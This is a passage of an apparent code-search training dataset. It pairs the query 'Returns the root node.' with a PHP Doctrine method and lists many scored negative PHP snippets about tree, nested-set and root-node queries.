true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\r\n\t\t\t\t\tif ($use_alias)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$cols[] = 't'.$alias_no.'.`'.$field->foreignFieldName .'` AS `'.$field->name.'`';\r\n\t\t\t\t\t\t$tables[] = array('table' => $field->table, 'alias' => 't'.$alias_no);\r\n\t\t\t\t\t\t$alias_no++;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// Check if table has alias\r\n\t\t\t\t\t\tif (($alias = $this->tableHasAlias($field->table, $tables)) !== false)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$cols[] = $alias.'.`'.$field->foreignFieldName.'` AS `'.$field->name .'`';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$cols[] = '`'.$field->table.'`.`'.$field->foreignFieldName.'` AS `'.$field->name.'`';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$this->tableAliases = $tables;\r\n\t\r\n\t\t\t$sql .= implode(', ', $cols).' '.$from_sql;\r\n\t\r\n\t\t\t$this->table_aliases = $tables;\r\n\t\t}\r\n\t\r\n\t\treturn $sql;\r\n\t}", "function prepare_read_one($id){\n if(!isset($id)){\n return '';\n }\n $tables_sql = $this->create_table_list();\n $where_sql = $this->create_where($id);\n $column_sql = implode(', ', $this->column_list);\n return \"SELECT $column_sql FROM $tables_sql $where_sql;\";\n }" ]
[ "0.60787094", "0.5895437", "0.58847654", "0.57737136", "0.5765146", "0.5760141", "0.57255864", "0.5681123", "0.5676963", "0.5662733", "0.5618395", "0.55416584", "0.55343884", "0.55205977", "0.5516878", "0.55072755", "0.55049944", "0.5474555", "0.54688287", "0.54658234", "0.54528916", "0.54391134", "0.5433934", "0.54175127", "0.5408913", "0.5405453", "0.53794175", "0.53712183", "0.5363162", "0.53562176", "0.53543675", "0.53515357", "0.5350989", "0.53419465", "0.53417116", "0.5331537", "0.5316854", "0.5313533", "0.53075594", "0.52982503", "0.5289236", "0.5284558", "0.5280922", "0.5279329", "0.5278985", "0.5277626", "0.5269638", "0.5265646", "0.52650297", "0.5254014", "0.52468896", "0.52330804", "0.5228691", "0.5226131", "0.52210087", "0.5209815", "0.52092123", "0.5207928", "0.52026755", "0.52020633", "0.52020544", "0.52020544", "0.5200252", "0.5196304", "0.5175558", "0.5174661", "0.51722324", "0.5170702", "0.5170382", "0.51569384", "0.5150771", "0.5142396", "0.51379776", "0.5127057", "0.51243263", "0.51233023", "0.5121787", "0.511717", "0.51160544", "0.51140195", "0.51137394", "0.5112967", "0.5111352", "0.5107914", "0.510441", "0.5102613", "0.510202", "0.51018", "0.5099275", "0.5093115", "0.5092347", "0.50795597", "0.50792176", "0.5062138", "0.50579816", "0.5056549", "0.50481254", "0.50457376", "0.5043328", "0.50386983" ]
0.5903446
1
Returns the root node.
public function findRootNode() { return $this->repository->findOneBy(array('lvl' => 0)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRootNode(){\n\t\tif(!$this->root_node) {\n\t\t\treturn null;\n\t\t}\n\t\treturn $this->root_node;\n\t}", "public function root() {\n $node = $this;\n while ($parent = $node->getParent())\n $node = $parent;\n return $node;\n }", "function getRoot() { return($this->_root); }", "public function root()\r\n\t{\r\n\t\treturn $this->root;\r\n\t}", "public function getRoot()\n {\n return $this->root;\n }", "public function getRoot()\n {\n return $this->root;\n }", "function getRoot() {\n return $this->root;\n }", "public function getRoot()\n {\n return $this->_root;\n }", "public function getRoot() {\n return $this->root;\n }", "public function getRoot()\n\t{\n\t\treturn $this->Root;\n\t}", "public function getRoot() {\n return $this->__root;\n }", "public function root() {\n return $this->root;\n }", "public function getRootNode() : Node\n {\n return $this->rootNode;\n }", "public function getRootNode() {}", "public function getRoot();", "function get_root() {\n\t\treturn $this->stack[0];\n\t}", "public function getRoot(): BranchGraphNode\n {\n return $this->root;\n }", "public function getRoot()\n {\n return $this->active->geContext()->getCurrentSiteNode();\n }", "public function & getRoot()\n\t{\n\t\t$r = null;\n\t\tforeach($this->m_document->childNodes as $c)\n\t\t{\n\t\t\tif($c->nodeType == XML_ELEMENT_NODE)\n\t\t\t{\n\t\t\t\t$r = new ZXmlTag($c);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif(!$r)\n\t\t\t$r = new ZXmlTag($this->m_document);\n\n\t\treturn $r;\n\t}", "public function selectRoot ( ) {\n\n return $this->getStream()->selectRoot();\n }", "public function getRoot(): self;", "function getRoot ()\n\t{\n\t\treturn $this->doc->document_element();\n\t}", "public function getRoot() {}", "public function getRoot() {}", "public function getRoot() {}", "private function root() { return $this->toplevel(\"root\"); }", "abstract public function getRoot() ;", "abstract public function getRoot() ;", "public function getRoot()\n {\n return $this->drupalFinder()->getDrupalRoot();\n }", "function get_root()\n {\t\n\t\t$query = ee()->db->get_where( $this->tree_table, array('lft' => 1), 1 );\n\t\treturn ( $query->num_rows() ) ? $query->row_array() : FALSE;\n }", "public function getRoot()\n {\n $this->iterator->rewind();\n return $this->iterator->current();\n }", "public function get_root_location()\n {\n return $this->m_mptt->get_by_node_id(C__OBJ__ROOT_LOCATION);\n }", "private function getRoot() {\n $statement = $this->getConn()->prepare('SELECT * FROM `' . $this->_table . '` where ' . $this->_parent . ' is null limit 1');\n $statement->execute();\n $root = $statement->fetch();\n return $root;\n }", "public function getRoot()\n {\n $root_id = $this->getField('RootID');\n if (! $root_id) {\n return null;\n }\n\n return DataObject::get_one('Gtkdoc', '\"Gtkdoc\".\"ID\" = ' . (int) $root_id);\n }", "public function getRoot()\n {\n return $this->parent ? $this->parent->getRoot() : $this;\n }", "function getMainNode(){\n\t\treturn $this->nodeppal;\n\t}", "public function getRoot()\n {\n return ($this->parent !== null) ? $this->parent->getRoot() : $this;\n }", "public function root() {}", "public function getRoot(): string;", "public function getFirstRootNode()\n {\n $qb = $this->_qbFactory\n ->getRootNodeQueryBuilder()\n ->setMaxResults(1);\n try {\n return $qb->getQuery()->getSingleResult();\n } catch (NoResultsException $e) {\n return null;\n }\n }", "public function get_ast_root() {\n return $this->ast_root;\n }", "function getRootId()\n\t{\n\t\treturn $this->root_id;\n\t}", "public function getRootWidget()\n {\n return $this->rootWidgetNode;\n }", "public function getRoot() : ElementInterface\n {\n return $this->root;\n }", "public static function getRootNodeName()\n {\n return 'SuperFund';\n }", "private static function getXMLRoot()\n {\n if(empty(self::$xml)) {\n self::init();\n }\n return self::$xml;\n }", "public function getDefaultLevelRoot()\n {\n return 0;\n }", "public function getRoot() {\n\t\t$this->initDataProvider();\n\t\t$node = $this->dataProvider->getRoot();\n\n\t\treturn $node->toArray();\n\t}", "function get_root()\n\t{ \n\t\t$this->model->where('`'.$this->left_column . '` = 1 ');\n\t\treturn $this->model->find(FALSE,true);\n\t}", "final function getDocumentRootElement () { return new XDTNodeList($this->root); }", "public function getRootId()\n {\n return $this->rootId;\n }", "public function getRootId()\n {\n return $this->rootId;\n }", "public function getRoot()\n {\n return SITE_ROOT;\n }", "public function getFirstNode()\n {\n return $this->firstNode;\n }", "public static function root()\n\t{\n\t\t$route = new \\CCRoute;\n\t\t$route->uri = '#root';\n\t\treturn \\CCRequest::create( reset( \\Earth\\Pages\\Router::resolve( array( $route ) ) ) )\n\t\t\t->perform()\n\t\t\t->response();\n\t}", "public function getRootId()\n {\n return $this\n ->findRoot()\n ->id;\n }", "public function getCurrentRoot()\n {\n if (null !== $this->getCurrentPage()) {\n return $this->getCurrentPage()->getRoot();\n } elseif (null === $this->getCurrentSite()) {\n return;\n } else {\n return $this->application->getEntityManager()\n ->getRepository('BackBee\\CoreDomain\\NestedNode\\Page')\n ->getRoot($this->getCurrentSite());\n }\n }", "protected function getRootNode($content) {\n\t\t$tokens = new \\ArrayObject();\n\t\t$this->parseChildNodes($content,$tokens);\n\n\t\tif(isset($tokens[0])) {\n\t\t\treturn $tokens[0];\n\t\t} else {\n\t\t\t//error in parsing return a new empty dummy node\n\t\t\treturn new \\Solr\\Domain\\Result\\Explanation\\Nodes\\Explain();\n\t\t}\n\t}", "public function findRootNodes()\n {\n return $this->findNodes();\n }", "public function getRootNodes()\r\n {\r\n $event = $this->getEventManager()->trigger(__FUNCTION__.'.pre', $this);\r\n if ($event->stopped()) {\r\n return $event->last();\r\n }\r\n\r\n $result = $this->mapper->getRootNodes();\r\n\r\n $params['__RESULT__'] = $result;\r\n $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, $params);\r\n\r\n return $result;\r\n }", "public function node()\n\t{\n\t\t$registry = Jquarry_Registry::instance();\n\t\t\n\t\treturn $registry->get_node($this->node_id());\n\t}", "protected function get_root_value()\n {\n }", "public function getLastRootNode()\n {\n $qb = $this->qbFactory\n ->getRootNodeQueryBuilder()\n ->orderBy('e.' . $this->getPathFieldName(), 'DESC')\n ->setMaxResults(1);\n try {\n return $this->getNode($qb->getQuery()->getSingleResult());\n } catch (NoResultException $e) {\n return null;\n }\n }", "public static function getRootNodeName()\n {\n return 'Cost';\n }", "public function GetMin() {\r\n if($this->root == null)\r\n return null;\r\n\r\n $node = $this->root;\r\n\r\n while($node->left != null)\r\n $node = $node->left;\r\n\r\n return $node;\r\n }", "private function _getRoot()\n {\n if ($this->_parent instanceOf Horde_Pear_Package_Xml_Directory) {\n return $this->_parent->_getRoot();\n } else {\n return $this->_parent;\n }\n }", "protected function getRootId()\n {\n return $this->getParam(self::PARAM_USE_NODE)\n ? intval(\\XLite\\Core\\Request::getInstance()->category_id)\n : $this->getParam(self::PARAM_ROOT_ID);\n }", "function readRootId()\n\t{\n\t\tglobal $ilDB;\n\t\t\n\t\t$query = 'SELECT child FROM '.$this->table_tree.' '.\n\t\t\t'WHERE parent = %s '.\n\t\t\t'AND '.$this->tree_pk.' = %s ';\n\t\t$res = $ilDB->queryF($query,array('integer','integer'),array(\n\t\t\t0,\n\t\t\t$this->tree_id));\n\t\t$row = $ilDB->fetchObject($res);\n\t\t$this->root_id = $row->child;\n\t\treturn $this->root_id;\n\t}", "public function requestRoot()\n {\n $url = $this->request->root();\n\n return $this->make($url);\n }", "public function getCurrentNode() : Node\n {\n return $this->currentNode;\n }", "final static public function rootType() {\n return self::class;\n }", "public function get_template_root()\n {\n }", "function get_virtual_root()\n\t{\n\t\tglobal $DBPrefix, $db;\n\t\t// Virtual root element as parent.\n\t\t$query = \"SELECT right_id FROM \" . $DBPrefix . \"categories ORDER BY right_id DESC LIMIT 1\";\n\t\t$db->direct_query($query);\n\t\t$row = $db->result();\n\t\t$root = array('left_id' => 1, 'right_id' => $row['right_id'], 'level' => -1);\n\t\treturn $root;\n\t}", "public function getHome()\n {\n return $this->homeNode;\n }", "function fiftyone_degrees_get_nodes_root_node($node_offset, $headers) {\n $node = fiftyone_degrees_read_node($node_offset, $headers);\n if ($node['parent_offset'] >= 0) {\n return fiftyone_degrees_get_nodes_root_node($node['parent_offset'], $headers);\n }\n else {\n return $node;\n }\n}", "public static function getRootNodeName()\n {\n return 'LeavePeriod';\n }", "public function isRootNode()\n {\n return true;\n }", "private function createRootNode()\n {\n $this->_rootNode = $this->_dom->createElement($this->_rootElement, '');\n $this->_dom->appendChild($this->_rootNode);\n }", "public function getManialiveRoot()\n {\n return $this->path->getRoot();\n }", "public function getRootNodes()\n {\n return $this->getNodes($this->qbFactory\n ->getRootNodeQueryBuilder()\n ->getQuery()\n ->getResult());\n }", "public function GetRootObject()\n {\n // phpcs:enable PSR1.Methods.CamelCapsMethodName.NotCamelCaps\n $ret = null;\n \n if ($this->_my_root instanceof c_comdef_meeting_search_manager) {\n $ret = $this->_my_root;\n } else {\n $ret = $this;\n }\n \n return $ret;\n }", "private function getRoot(): string\n {\n $bootstrapManager = Drush::bootstrapManager();\n $root = $bootstrapManager->getRoot();\n if (!$root) {\n throw new Exception(dt('Path to Drupal docroot is empty.'));\n }\n\n return $root;\n }", "public function &firstChild()\n {\n $ret = null;\n if (! count($this->_children)) {\n return $ret;\n }\n return $this->_children[0];\n }", "public function first()\n {\n return count($this->nodes)?$this->nodes[0]:null;\n }", "public static function BaseNode() {\n\t\t\treturn QQN::PersonWithLock();\n\t\t}", "public function getTemplateRoot()\n {\n return TEMPLATE_ROOT;\n }", "protected function getRootId()\n\t{\n\t\t$query = $this->_db->getQuery(true);\n\n\t\t$query->select('id')\n\t\t\t->from('#__menu')\n\t\t\t->where('parent_id = 0');\n\n\t\t$this->_db->setQuery($query);\n\n\t\t$id = $this->_db->loadResult();\n\n\t\treturn (int) $id;\n\t}", "public static function getRoot(): string {\n if (! self::$_root) {\n self::$_root = dirname(dirname(dirname(__FILE__)));\n }\n \n return self::$_root;\n }", "public function getRootId()\r\n {\r\n return $this->get(\"coa\");\r\n }", "function &firstChild () {\r\n $ret = null;\r\n if (!count ($this->_children)) {\r\n return $ret;\r\n }\r\n return $this->_children[0];\r\n }", "public function getRootPane() {\n return $this->rootPane;\n }", "public function GetMax() {\r\n if($this->root == null)\r\n return null;\r\n\r\n $node = $this->root;\r\n\r\n while($node->right != null)\r\n $node = $node->right;\r\n\r\n return $node;\r\n }", "public function getNode()\n\t{\n\t\treturn $this->_node;\n\t}", "public function getRootNamespace()\n {\n return $this->rootNameSpace;\n }", "public static function BaseNode() {\n\t\t\treturn QQN::Person();\n\t\t}", "public function getRootPath()\r\n\t{\r\n\t\treturn $this->rootPath;\r\n\t}", "protected function getViewRoot() {\r\n\t\treturn $this->getParent()->getViewRoot();\r\n\t}", "public function getNode() {\r\n return $this->node;\r\n }", "public function addRootLabel(): static\n {\n $host = $this->uri->getHost();\n\n return match (true) {\n null === $host,\n str_ends_with($host, '.') => $this,\n default => new static($this->uri->withHost($host.'.')),\n };\n }", "public function getRootPath()\n {\n return $this->root_path;\n }" ]
[ "0.8349662", "0.80568385", "0.79198354", "0.79141134", "0.7775484", "0.7775484", "0.7759621", "0.7744004", "0.7737028", "0.76899964", "0.7668741", "0.7652649", "0.7618602", "0.7586496", "0.7519261", "0.7465442", "0.7431905", "0.7359621", "0.73455703", "0.7337951", "0.73342836", "0.7289308", "0.7231233", "0.7231233", "0.7231233", "0.71513736", "0.7113581", "0.7113581", "0.70969385", "0.7067795", "0.7054444", "0.6975415", "0.69500023", "0.692876", "0.69187975", "0.6915936", "0.68959457", "0.6872356", "0.68691", "0.68532044", "0.6754708", "0.66907126", "0.66854656", "0.6647933", "0.6613687", "0.6600922", "0.6598116", "0.6585327", "0.6575958", "0.6572404", "0.65343094", "0.65343094", "0.6513311", "0.65112525", "0.6471611", "0.64553297", "0.644189", "0.64353245", "0.64249206", "0.641499", "0.63956344", "0.6342605", "0.63032717", "0.62825614", "0.6240584", "0.62139434", "0.6211779", "0.6209928", "0.6185167", "0.6144315", "0.61331797", "0.61268973", "0.6112244", "0.60923564", "0.6085326", "0.60685396", "0.6046683", "0.6034238", "0.60262", "0.60256964", "0.59958994", "0.59884256", "0.59859836", "0.5968067", "0.59592974", "0.5954811", "0.5951729", "0.59376544", "0.5935065", "0.5934118", "0.5933203", "0.590693", "0.5901804", "0.5899955", "0.58961004", "0.5863099", "0.5858046", "0.5837717", "0.5820354", "0.5817201" ]
0.76321787
12
Returns the Query Builder to select all nodes ordered as tree.
public function getNodeTreeQueryBuilder() { $qb = $this->repository ->createQueryBuilder('c') ->select('c, p') ->leftJoin('c.parent', 'p') ->orderBy('c.lft'); return $qb; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getNodesQueryBuilder($parentId=null)\n {\n // Get class metadata\n $metadata = $this->getClassMetadata();\n\n // Create the query builder\n $queryBuilder = $this->_em->createQueryBuilder();\n\n $queryBuilder\n ->select('node')\n ->from($metadata->name, 'node');\n\n // Get the name of the parent field\n $parentColumn = $metadata->closureTree['parent']['fieldName'];\n\n if (!$parentId) {\n $queryBuilder->where('node.'. $parentColumn .' IS NULL');\n } else {\n $queryBuilder->where('node.'. $parentColumn .' = :parentId')->setParameter('parentId', $parentId);\n }\n\n return $queryBuilder;\n }", "public function getNodes():ActiveQuery\n {\n return $this\n ->hasMany(Node::class, ['id' => 'nodeId'])\n ->viaTable(NodeBloc::tableName(), ['blocId' => 'id']);\n }", "public function tree() {\n return $this->children()->with(['user', 'children.user', 'children.children.user', 'children.children.children.user', 'children.children.children.children.user'])->get();\n }", "protected function query() {\n $query = Database::getConnection('default', $this->sourceConnection)\n ->select('og_ancestry', 'oga');\n // only load JUST the type of nodes we need\n $query->join('node', 'n', 'oga.nid = n.nid AND n.type = :type', array(':type' => $this->sourceType));\n $query->condition('group_nid', 0, '>') // handle 0 values\n ->fields('oga', array('nid', 'group_nid'));\n return $query;\n }", "private function GetAllNodes(){\n $tree = array();\n try {\n $db = new SQLite3('mysqlitedb.db', SQLITE3_OPEN_READWRITE | SQLITE3_OPEN_CREATE);\n $result = $db->query('SELECT * FROM tree WHERE DELETE_AT IS NULL AND PARENT_ID=0');\n if (!is_bool($result)) {\n while ($row = $result->fetchArray()) {\n $nodes = $this->GetNodesByParentId($db, $row[\"ID\"]);\n $tree[] = array(\"ID\" => $row[\"ID\"], \"NAME\" => $row[\"NAME\"], \"NODES\" => $nodes);\n }\n }\n $db->close();\n } catch (Exception $ex) {\n echo \"Exception in Tree->GetAllNodes: \" . $ex->getMessage() . \"<br/>\";\n $db->close();\n }\n return $tree;\n }", "static public function getCategoryTree() {\n $rows = self::find()\n ->where(['!=', 'id', 1]) // exclude root category\n ->andWhere(['=', 'status', self::STATUS_SHOW]) // exclude hidden\n ->orderBy(['tree' => SORT_ASC, 'lft' => SORT_ASC])\n ->all();\n \n // build tree\n $result = [];\n $last_parent_id = null;\n foreach($rows as $row) {\n if($row['depth'] == 1) { // parent\n $last_parent_id = $row['id'];\n $result[$last_parent_id] = [\n 'parent' => $row,\n 'childs' => []\n ];\n\n continue;\n }\n\n // childs\n $result[$last_parent_id]['childs'][$row->id] = $row;\n }\n return $result;\n }", "public function scopeDepthFirst(Builder $query): Builder\n {\n $sql = $query->getExpressionGrammar()->compileOrderByPath();\n\n return $query->orderByRaw($sql);\n }", "public function roots() {\n $db = $this->getDbConnection();\n $this->getDbCriteria()->addCondition($db->quoteColumnName($this->getTableAlias()) . '.' . $db->quoteColumnName($this->leftAttribute) . '=1');\n\n return $this;\n }", "public function renderTree()\n {\n $structure = $this->_module->treeStructure + $this->_module->dataStructure;\n extract($structure);\n $nodeDepth = $currDepth = $counter = 0;\n $jsSelect = '$('.$this->id.').treeview(\"collapseAll\");';\n $out = Html::beginTag('ul', ['class' => 'kv-tree']) . \"\\n\";\n foreach ($this->_nodes as $node) {\n /**\n * @var Tree $node\n */\n if (!$this->isAdmin && !$node->isVisible() || !$this->showInactive && !$node->isActive()) {\n continue;\n }\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeDepth = $node->$depthAttribute;\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeLeft = $node->$leftAttribute;\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeRight = $node->$rightAttribute;\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeKey = $node->$keyAttribute;\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeName = $node->$nameAttribute;\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeIcon = $node->$iconAttribute;\n /** @noinspection PhpUndefinedVariableInspection */\n $nodeIconType = $node->$iconTypeAttribute;\n\n $isChild = ($nodeRight == $nodeLeft + 1);\n $indicators = '';\n\n if (isset($this->nodeLabel)) {\n $label = $this->nodeLabel;\n $nodeName = is_callable($label) ? $label($node) :\n (is_array($label) ? ArrayHelper::getValue($label, $nodeKey, $nodeName) : $nodeName);\n }\n if ($nodeDepth == $currDepth) {\n if ($counter > 0) {\n $out .= \"</li>\\n\";\n }\n } elseif ($nodeDepth > $currDepth) {\n $out .= Html::beginTag('ul') . \"\\n\";\n $currDepth = $currDepth + ($nodeDepth - $currDepth);\n } elseif ($nodeDepth < $currDepth) {\n $out .= str_repeat(\"</li>\\n</ul>\", $currDepth - $nodeDepth) . \"</li>\\n\";\n $currDepth = $currDepth - ($currDepth - $nodeDepth);\n }\n if (trim($indicators) == null) {\n $indicators = '&nbsp;';\n }\n $nodeOptions = [\n 'data-key' => $nodeKey,\n 'data-lft' => $nodeLeft,\n 'data-rgt' => $nodeRight,\n 'data-lvl' => $nodeDepth,\n 'data-readonly' => static::parseBool($node->isReadonly()),\n 'data-movable-u' => static::parseBool($node->isMovable('u')),\n 'data-movable-d' => static::parseBool($node->isMovable('d')),\n 'data-movable-l' => static::parseBool($node->isMovable('l')),\n 'data-movable-r' => static::parseBool($node->isMovable('r')),\n 'data-removable' => static::parseBool($node->isRemovable()),\n 'data-removable-all' => static::parseBool($node->isRemovableAll()),\n ];\n\n $css = [];\n if (!$isChild) {\n $css[] = 'kv-parent ';\n }\n if (!$node->isVisible() && $this->isAdmin) {\n $css[] = 'kv-invisible';\n }\n if ($this->showCheckbox && in_array($node->id, $this->selected)) {\n $css[] = 'kv-selected ';\n $jsSelect .= '$('.$this->id.').treeview(\"checkNode\", \"'.$node->id.'\");';\n }\n if ($node->isCollapsed()) {\n $css[] = 'kv-collapsed ';\n }\n if ($node->isDisabled()) {\n $css[] = 'kv-disabled ';\n }\n if (!$node->isActive()) {\n $css[] = 'kv-inactive ';\n }\n $indicators .= $this->renderToggleIconContainer(false) . \"\\n\";\n $indicators .= $this->showCheckbox ? $this->renderCheckboxIconContainer(false) . \"\\n\" : '';\n if (!empty($css)) {\n Html::addCssClass($nodeOptions, $css);\n }\n $out .= Html::beginTag('li', $nodeOptions) . \"\\n\" .\n Html::beginTag('div', ['tabindex' => -1, 'class' => 'kv-tree-list']) . \"\\n\" .\n Html::beginTag('div', ['class' => 'kv-node-indicators']) . \"\\n\" .\n $indicators . \"\\n\" .\n '</div>' . \"\\n\" .\n Html::beginTag('div', ['tabindex' => -1, 'class' => 'kv-node-detail']) . \"\\n\" .\n $this->renderNodeIcon($nodeIcon, $nodeIconType, $isChild) . \"\\n\" .\n Html::tag('span', $nodeName, ['class' => 'kv-node-label']) . \"\\n\" .\n '</div>' . \"\\n\" .\n '</div>' . \"\\n\";\n ++$counter;\n }\n if (isset($jsSelect)) {\n $this->view->registerJs(\n $jsSelect,\n View::POS_READY,\n 'treeviewinput-selected'\n );\n }\n $out .= str_repeat(\"</li>\\n</ul>\", $nodeDepth) . \"</li>\\n\";\n $out .= \"</ul>\\n\";\n return Html::tag('div', $this->renderRoot() . $out, $this->treeOptions);\n }", "private function build_tree()\n\t\t{\n\t\t\t$this->html_result .= '<ul class=\"'.$this->style.'_ul_first\" onkeydown=\"return input_main_key(event,\\''.$this->internal_id.'\\')\">';\n\n\t\t\t//==================================================================\n\t\t\t// Always first this row in tree ( edit mode only )\n\t\t\t//==================================================================\n\t\t\tif ($this->edit_mode)\n\t\t\t{\n\t\t\t\t$this->html_result .= '<div class=\"'.$this->style.'_interow\" id=\"'.$this->internal_id.'INT_0\" OnClick=\"add_new_node(\\''.$this->internal_id.'\\',0)\"></div>';\n\t\t\t}\n\t\t\t//==================================================================\n\t\t\t\n\t\t\t$this->scan_level(0,$this->get_any_child(1));\n\n\t\t\t$this->html_result .= '<ul class=\"'.$this->style.'_ul\">';\n\t\t}", "public function getNodeAscendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft <= :lft AND c.rgt >= :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "function & get_root_nodes($add_sql = array())\r\n\t{\r\n\t\t$sql = sprintf('SELECT %s %s FROM %s %s WHERE %s.id=%s.root_id %s ORDER BY %s.%s ASC',\r\n\t\t\t\t\t\t\t\t\t\t$this->_get_select_fields(),\r\n\t\t\t\t\t\t\t\t\t\t$this->_add_sql($add_sql, 'columns'),\r\n\t\t\t\t\t\t\t\t\t\t$this->_node_table,\r\n\t\t\t\t\t\t\t\t\t\t$this->_add_sql($add_sql, 'join'),\r\n\t\t\t\t\t\t\t\t\t\t$this->_node_table,\r\n\t\t\t\t\t\t\t\t\t\t$this->_node_table,\r\n\t\t\t\t\t\t\t\t\t\t$this->_add_sql($add_sql, 'append'),\r\n\t\t\t\t\t\t\t\t\t\t$this->_node_table, $this->_secondary_sort);\r\n\r\n\t\t$node_set =& $this->_get_result_set($sql);\r\n\r\n\t\treturn $node_set;\r\n\t}", "function & get_all_nodes($add_sql = array())\r\n\t{\r\n\t\tif ($this->_sort_mode == NESE_SORT_LEVEL)\r\n\t\t{\r\n\t\t\t$sql = sprintf('SELECT %s %s FROM %s %s %s ORDER BY %s.level, %s.%s ASC',\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_get_select_fields(),\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_add_sql($add_sql, 'columns'),\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_node_table,\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_add_sql($add_sql, 'join'),\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_add_sql($add_sql, 'append'),\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_node_table,\r\n\t\t\t\t\t\t\t\t\t\t\t$this->_node_table, $this->_secondary_sort);\r\n\t\t} \n\t\telseif ($this->_sort_mode == NESE_SORT_PREORDER)\r\n\t\t{\r\n\t\t\t$node_set = array();\r\n\t\t\t$rootnodes = $this->get_root_nodes(true);\r\n\t\t\tforeach($rootnodes AS $rid => $rootnode)\r\n\t\t\t{\r\n\t\t\t\t$node_set = $node_set + $this->get_branch($rid, true);\r\n\t\t\t} \r\n\t\t\treturn $node_set;\r\n\t\t} \r\n\r\n\t\t$node_set =& $this->_get_result_set($sql);\r\n\r\n\t\treturn $node_set;\r\n\t}", "protected function toQuery() {\n\t\t$query = $this->mapper()->all($this->entityName(), $this->conditions())->order($this->relationOrder());\n\t\t$query->snapshot();\n\t\treturn $query;\n\t}", "function BuildTree($items)\r\n\t{\r\n\t\tif (!empty($items))\r\n\t\t{\r\n\t\t\t# Columns\r\n\t\t\t# * Gather all columns required for display and relation.\r\n\t\t\t# Children\r\n\t\t\t# * Map child names to child index.\r\n\r\n\t\t\t$cols[$this->ds->table] = array($this->ds->id => 1);\r\n\t\t\tif (!empty($this->ds->DisplayColumns))\r\n\t\t\tforeach (array_keys($this->ds->DisplayColumns) as $col)\r\n\t\t\t\t$cols[$this->ds->table][$col] = $this->ds->id == $col;\r\n\r\n\t\t\tif (!empty($this->ds->children))\r\n\t\t\tforeach ($this->ds->children as $ix => $child)\r\n\t\t\t{\r\n\t\t\t\t$children[$child->ds->table] = $ix;\r\n\t\t\t\t$cols[$child->ds->table][$child->parent_key] = 1;\r\n\t\t\t\t$cols[$child->ds->table][$child->child_key] = 0;\r\n\t\t\t\tif (!empty($child->ds->DisplayColumns))\r\n\t\t\t\tforeach (array_keys($child->ds->DisplayColumns) as $col)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cols[$child->ds->table][$col] = 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t# Flats\r\n\t\t\t# * Convert each item into separated TreeNodes\r\n\t\t\t# * Associate all indexes by table, then id\r\n\r\n\t\t\t$flats = array();\r\n\r\n\t\t\t# Iterate all the resulting database rows.\r\n\t\t\tforeach ($items as $ix => $item)\r\n\t\t\t{\r\n\r\n\t\t\t\t# Iterate the columns that were created in step 1.\r\n\t\t\t\tforeach ($cols as $table => $columns)\r\n\t\t\t\t{\r\n\t\t\t\t\t# This will store all the associated data in the treenode\r\n\t\t\t\t\t# for the editor to reference while processing the tree.\r\n\t\t\t\t\t$data = array();\r\n\t\t\t\t\t$skip = false;\r\n\r\n\t\t\t\t\t# Now we're iterating the display columns.\r\n\t\t\t\t\tforeach ($columns as $column => $id)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t# This column is not associated with a database row.\r\n\t\t\t\t\t\tif (is_numeric($column)) continue;\r\n\r\n\t\t\t\t\t\t# Table names are included to avoid ambiguity.\r\n\t\t\t\t\t\t$colname = $table.'_'.$column;\r\n\r\n\t\t\t\t\t\t# ID would be specified if this is specified as a keyed\r\n\t\t\t\t\t\t# value.\r\n\t\t\t\t\t\tif ($id)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tif (empty($item[$colname]))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$skip = true;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t$idcol = $colname;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$data[$this->ds->StripTable($colname)] = $item[$this->ds->StripTable($colname)];\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (!$skip)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$tn = new TreeNode($data);\r\n\t\t\t\t\t\t$tn->id = $item[$idcol];\r\n\t\t\t\t\t\t$flats[$table][$item[$idcol]] = $tn;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t# Tree\r\n\t\t\t# * Construct tree out of all items and children.\r\n\r\n\t\t\t$tree = new TreeNode('Root');\r\n\r\n\t\t\tforeach ($flats as $table => $items)\r\n\t\t\t{\r\n\t\t\t\tforeach ($items as $ix => $node)\r\n\t\t\t\t{\r\n\t\t\t\t\t$child_id = isset($children[$table]) ? $children[$table] : null;\r\n\r\n\t\t\t\t\tif 